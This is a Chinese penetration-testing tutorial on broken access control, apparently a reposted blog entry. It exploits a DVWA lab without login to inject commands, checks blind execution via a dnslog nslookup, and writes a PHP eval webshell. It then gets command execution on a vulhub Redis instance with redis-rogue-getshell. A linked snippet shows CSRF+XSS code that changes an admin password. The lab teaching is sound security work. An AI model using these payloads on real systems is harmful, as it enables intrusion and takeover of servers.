渗透测试漏洞原理之---【失效的访问控制】

news2025/1/11 10:52:47

文章目录

    • 1、失效的访问控制
      • 1.1、OWASP Top 10
        • 1.1.1、A5:2017-Broken Access Control
        • 1.1.2、A01:2021 – Broken Access Control
      • 1.2、失效的访问控制类别
        • 1.2.1、水平越权
        • 1.2.2、垂直越权
      • 1.3、攻防案例
        • 1.3.1、Pikachu靶场 Over Permision
        • 1.3.2、DVWA越权
          • 利用失效的访问控制漏洞执行命令注入
          • 利用失效的访问控制漏洞写一个webshell,尝试蚁剑连接
      • 1.4、相关漏洞
        • 1.4.1、目录遍历
        • 1.4.2、未授权访问
    • 2、未授权访问
      • 2.1、Redis未授权访问
        • 2.1.1、Redis介绍
        • 2.1.2、Redis简单使用
        • 2.1.3、Redis未授权访问
        • 2.1.4、Redis未授权访问执行系统命令漏洞复现

1、失效的访问控制

应该对Web 应用(系统等)实施访问控制策略,限定不同用户的不同权限(访问范围)。如果没控制住,就意味着访问控制失效。

1.1、OWASP Top 10

1.1.1、A5:2017-Broken Access Control

A5:2017-Broken Access Control


未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。


1.1.2、A01:2021 – Broken Access Control

A01:2021 – Broken Access Control

访问控制强制实施策略,使用户无法在其预期权限之外进行操作。失败的访问控制通常会导致未经授权的信息泄露、修改或销毁所有数据、或在用户权限之外执行业务功能。

1.2、失效的访问控制类别

权限移动方向

1.2.1、水平越权

在同级别账户中横向移动

就是同级用户之间的越权,打个比方现在有ABC三个用户,A是管理员,BC都是普通用户,现在B能够使用C这个用户的权限这就是水平越权,

1.2.2、垂直越权

普通用户获取管理员权限

通过低级权限跨越到高级权限,用高级权限干高级权限的事情,来我们继续打比方,A是超级管理员,BC是普通用户,现在这个B啊,通过了某些手段,跨越获得了A超级管理员的权限,这就是垂直越权,垂直越权的特点就是以低级权限向高级权限跨越

1.3、攻防案例

1.3.1、Pikachu靶场 Over Permision

Pikachu靶场 Over Permision

1.3.2、DVWA越权

利用失效的访问控制漏洞执行命令注入

先在正常登录的情况下,BurpSuite抓取Command Injection关卡的Low级别

image-20230901165159111


然后点击Logout退出登录

实现在不登录DVWA靶场的情况下访问靶场里面 Command Injection关卡的Low级别

路径:vulnerabilities\exec\source

在这里插入图片描述

浏览器访问low.php

在这里插入图片描述

通过访问http://192.168.80.139/DVWA-2.0.1/vulnerabilities/exec/source/low.php

得到如下界面

在这里插入图片描述

BurpSuite抓取数据包,发送到Repeater模块

在这里插入图片描述

改变数据包的请求方式,在源码中可以得知是通过POST方式提交的

在这里插入图片描述

image-20230901164141827

添加请求体内容:ip=127.0.0.1&Submit=Submit

使用&实现命令拼接,做命令注入

&需要做URL编码,防止跟连接Submit&发生冲突

BurpSuite中选中&,按Ctrl+u,即可实现uRL编码

在这里插入图片描述

发现使用whoami命令并没有回显

然后使用calc尝试调出计算器

image-20230901171043155

在这里插入图片描述

命令执行成功!

说明页面没有回显并不能代表命令执行没有成功

可以利用dnslog平台测试命令是否执行成功

rimage-20230901171830352

然后使用nslookup进行域名 解析:ip=127.0.0.1%26nslookup+hv1co0.dnslog.cn&Submit=Submit

点击Send发送,来到dnslog平台,点击Refresh Record刷新记录

image-20230901172142032

解析到了,说明命令执行成功


利用失效的访问控制漏洞写一个webshell,尝试蚁剑连接

echo "<?php @eval($_REQUEST[6868])?>" >shell.phpCtrl+u做url编码

得到echo+"<%3fphp+%40eval($_REQUEST[6868])%3f>"+>shell.php

POST /DVWA-2.0.1/vulnerabilities/exec/source/low.php HTTP/1.1
Host: 192.168.80.139
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 86

ip=127.0.0.1%26echo+"<%3fphp+%40eval($_REQUEST[6868])%3f>"+>shell.php&Submit=Submit

访问http://192.168.80.139/DVWA-2.0.1/vulnerabilities/exec/source/查看是否成功

在这里插入图片描述

访问shell.php

在这里插入图片描述

蚁剑 连接

http://192.168.80.139/DVWA-2.0.1/vulnerabilities/exec/source/shell.php

在这里插入图片描述

image-20230901173218542

1.4、相关漏洞

1.4.1、目录遍历

目录穿越,目录遍历,Directory Traversal,Web 用户,通过某种方式,可以访问Web 根目录以外的文件,甚至执行系统命令。

造成目录遍历漏洞的原因:

  • 文件包含
  • 文件读取
  • RCE

1.4.2、未授权访问

未授权访问,Unauthorized Access,重要资产根本没有做访问控制限制,导致黑客攻击者可以在没有授权的情况下操作重要资产,包括读写文件,执行命令等敏感操作

2、未授权访问

2.1、Redis未授权访问

2.1.1、Redis介绍

Redis 是非关系型数据库系统,没有库表列的逻辑结构,仅仅以键值对的方式存储数据

Redis 数据库经常用于Web 应用的缓存

Redis 可以与文件系统进行交互

Redis 监听TCP/6379

2.1.2、Redis简单使用

博客 跳转

Redis 未设置密码,客户端工具可以直接链接

┌──(ajest💋zh-CN)-[~/vulhub/vulhub/redis/4-unacc]
└─$ redis-cli -h 127.0.0.1
127.0.0.1:6379> set name JayChou
OK
127.0.0.1:6379> get name
"JayChou"
127.0.0.1:6379> config set dir /tmp/
OK
127.0.0.1:6379> config set dbfilename jaychou.txt
OK
127.0.0.1:6379> save
OK
127.0.0.1:6379>

2.1.3、Redis未授权访问

读取数据库内容读取系统文件执行系统命令
信息泄露
直接写WebShell

计划任务反弹Shell

SSH免密登录

redis-rogue-getshell

2.1.4、Redis未授权访问执行系统命令漏洞复现

环境:/vulhub/vulhub/redis/4-unacc


docker-compose up -d启动环境后,连接redis客户端

无密码,直接连接成功

┌──(kali㉿kali)-[~/Vulnerability-library/vulhub/redis/4-unacc]
└─$ redis-cli -h 127.0.0.1   
127.0.0.1:6379> info
# Server
redis_version:4.0.14
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:3914f9509eb3b682
redis_mode:standalone
os:Linux 6.1.0-kali9-amd64 x86_64
.......
.......

在这里插入图片描述

github上把redis-rogue-getshell这个项目克隆下来

第一步:

cd redis-rogue-getshell/RedisModulesSDK/
make

会生成一个exp.so文件,编译时会报错,不影响我们操作

cd ../
python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.80.141 -P 8888 -f RedisModulesSDK/exp.so -c "id"

执行id命令

在这里插入图片描述

执行其他命令

python3 redis-master.py -r 127.0.0.1 -p 6379 -L 192.168.80.141 -P 8888 -f RedisModulesSDK/exp.so -c "whoami"

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/961920.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

QT listWidget 中实现元素的自由拖拽

QListWIdget中拖拽元素移动 setMovement(QListView::Movement::Free);setDragEnabled(true); setDragDropMode(DragDropMode::DragDrop); setDefaultDropAction(Qt::DropAction::MoveAction);

稳定性建设框架 | 京东物流技术团队

一、为什么要做稳定性建设 1、从熵增定律引出稳定性建设的必要性 物理学上&#xff0c;用“熵”来描述一个体系的混乱程度。卡尔弗里德曼提出熵增定律&#xff0c;他认为在一个封闭的系统内&#xff0c;如果没有外力的作用&#xff0c;一切物质都会从有序状态向无序状态发展。…

CSRF与XSS结合利用

文章目录 修改cms网站后台管理员密码成功登录总结 修改cms网站后台管理员密码 CSRF和XSS结合的JS代码&#xff1a; <script> xmlhttp new XMLHttpRequest(); xmlhttp.open("post","http://10.4.7.130/cms/admin/user.action.php",false); xmlhttp…

2023第二届中国绿色钢铁国际峰会 演讲嘉宾预告:Meranti Steel

2023第二届中国绿色钢铁国际峰会将于9月21日-22日在上海举办&#xff0c;本次会议线上线下同步举行&#xff0c;会场提供中英同声传译。 钢铁是当今世界上最常用的金属&#xff0c;普遍应用于世界各国基础设施建设与机械、汽车、飞机、船舶、家电等产品的生产制造中。但是&…

中级深入--day15

案例&#xff1a;使用BeautifuSoup4的爬虫 我们以腾讯社招页面来做演示&#xff1a;搜索 | 腾讯招聘 使用BeautifuSoup4解析器&#xff0c;将招聘网页上的职位名称、职位类别、招聘人数、工作地点、发布时间&#xff0c;以及每个职位详情的点击链接存储出来。 # bs4_tencent.p…

剑指 Offer 49. 丑数(C++实现)

剑指 Offer 49. 丑数https://leetcode.cn/problems/chou-shu-lcof/ 对每个丑数 分别乘2、乘3、乘5 即可得到后续丑数 其中只需要对计算出来的丑数结果进行去重即可 int nthUglyNumber(int n) {// base caseif (n < 1){return -1;}if (n 1){return 1;}vector<int> res…

【单视重建】RealFusion:单张图像到任何对象的360°重建

项目主页&#xff1a;https://lukemelas.github.io/realfusion 文章&#xff1a;RealFusion&#xff1a;360◦ Reconstruction of Any Object from a Single Image 文章目录 摘要一、前言二、相关工作1. 基于图像的 外观和几何形状的重建2. 少视图重建3. 单视图重建4.从2D 生成…

【算法训练-字符串 二】最长回文子串

废话不多说&#xff0c;喊一句号子鼓励自己&#xff1a;程序员永不失业&#xff0c;程序员走向架构&#xff01;本篇Blog的主题是【最长回文子串】&#xff0c;使用【字符串】这个基本的数据结构来实现&#xff0c;这个高频题的站点是&#xff1a;CodeTop&#xff0c;筛选条件为…

物奇5007crash问题dump、栈回溯的四种定位方法

概述 物奇属于RISC-V架构(chapter1_riscv.md 华中科技大学操作系统团队/pke-doc - Gitee.com)&#xff0c;在遇到crash问题时&#xff0c;系统内部会对内存进行相关的保护和检测&#xff0c;当发现异常时会主动调用 IOT_ASSERT&#xff0c;通常会产生相关的 log 文件&#xf…

EXD 设计访谈|Vol.1 从“组件容器”聊到 B 端设计师的价值自证瓶颈

主持&#xff1a;元宝&#xff5c;嘉宾&#xff1a;赫本 《EXD 设计访谈》是由 EXD&#xff08;易知微用户体验设计团队&#xff09;制作的一档设计聊天栏目&#xff0c;主要和你分享我们在易知微这家公司里&#xff0c;关于 B 端工具设计、可视化内容设计、ToB 品牌运营设计方…

综合实训-------成绩管理系统 V1.1

综合实训-------成绩管理系统 V1.1 1、一维数组数据double 2、我们用元素的位置来当学号。 1、录入数据 【5个数据】或【通过文件的方式取数据】 2、显示数据 3、添加一条记录 4、修改一条记录 5、删除一条记录 6、查找一条记录。【输入学号&#xff0c;显示成绩】 7、统计。【…

StopWatch如何快速使用?

StopWatch如何快速使用&#xff1f; import org.springframework.util.StopWatch; public class StopWatchExample {public static void main(String[] args) {//创建stopWatch对象StopWatch stopWatch new StopWatch();// 开始计时 代码片段 起名task1stopWatch.start("…

运行速度高达1.8GHz可编程采集网关

今天介绍下BL304这个设备。嵌入式ARM控制器BL304系列是一款专为工业控制领域设计的坚固型工控设备。它采用NXP公司的处理器I.MX8M Mini四核64位处理器&#xff0c;搭配四核 Cortex-A53单核Cortex-M4构架&#xff0c;运行速度高达1.8GHz&#xff0c;具有高度的稳定性和可靠性。 …

Docker环境搭建Prometheus实验环境

环境&#xff1a; OS&#xff1a;Centos7 Docker: 20.10.9 - Community Centos部署Docker 【Kubernetes】Centos中安装Docker和Minikube_云服务器安装docker和minikube_DivingKitten的博客-CSDN博客 一、拉取Prometheus镜像 ## 拉取镜像 docker pull prom/prometheus ## 启动p…

【重要】NAND Flash基础知识简介

NAND Flash是一种非易失存储介质&#xff08;掉电后数据不会丢失&#xff09;&#xff0c;常见的U盘、TF卡/SD卡&#xff0c;以及大部分SSD&#xff08;固态硬盘&#xff09;都是由它组成的。 本文主要介绍其组成及工作原理。 为了表述方便&#xff0c;后面所说的Flash仅指NAN…

folium 地图加载速度提升让加载速度飞起来 加载本地资源

背景 去年写了篇关于如何让folium生成的html地图加载速度飞起来的笔记&#xff0c;笔记中提到解决问题的思路是对html文档中的js/css资源的引用进行本地化替换&#xff0c;并给出了本地化资源&#xff0c;以及资源替换的处理函数。但没有展示这个方法处理带来的效果。 基于以…

数字人创作+SadTalker+GTX1080

https://github.com/OpenTalker/SadTalker 开源项目 SadTalker模型是一个使用图片与音频文件自动合成人物说话动画的开源模型&#xff0c;我们自己给模型一张图片以及一段音频文件&#xff0c;模型会根据音频文件把传递的图片进行人脸的相应动作&#xff0c;比如张嘴&#xf…

线上批量查询物流导出到表格的操作指南

现在的生活中&#xff0c;我们经常需要查询包裹物流信息。如果一次性需要查询多个快递单号的物流信息&#xff0c;手动一个一个查询会非常麻烦。今天&#xff0c;我将向大家分享一个简单实用的方法&#xff0c;可以批量查询物流并导出到表格&#xff0c;方便随时查看。 首先&am…

AP51656 PWM和线性调光 LED车灯电源驱动IC 兼容替代PT4115 PT4205

产品描述 AP51656是一款连续电感电流导通模式的降压恒流源 用于驱动一颗或多颗串联LED 输入电压范围从 5V 到 60V&#xff0c;输出电流 可达 1.5A 。根据不同的输入电压和 外部器件&#xff0c; 可以驱动高达数十瓦的 LED。 内置功率开关&#xff0c;采用高端电流采样设置 …

【AWS】实操-保护 Amazon S3 VPC 终端节点通信

文章目录 实验概览目标实验环境任务 1&#xff1a;探索并启动实验环境任务 1.1&#xff1a;探索 Amazon VPC 资源任务 1.2&#xff1a;探索 Amazon EC2 资源任务 1.3&#xff1a;创建 Amazon VPC 终端节点任务 1.4&#xff1a;连接私有 EC2 实例任务 1.5&#xff1a;探索 Amazo…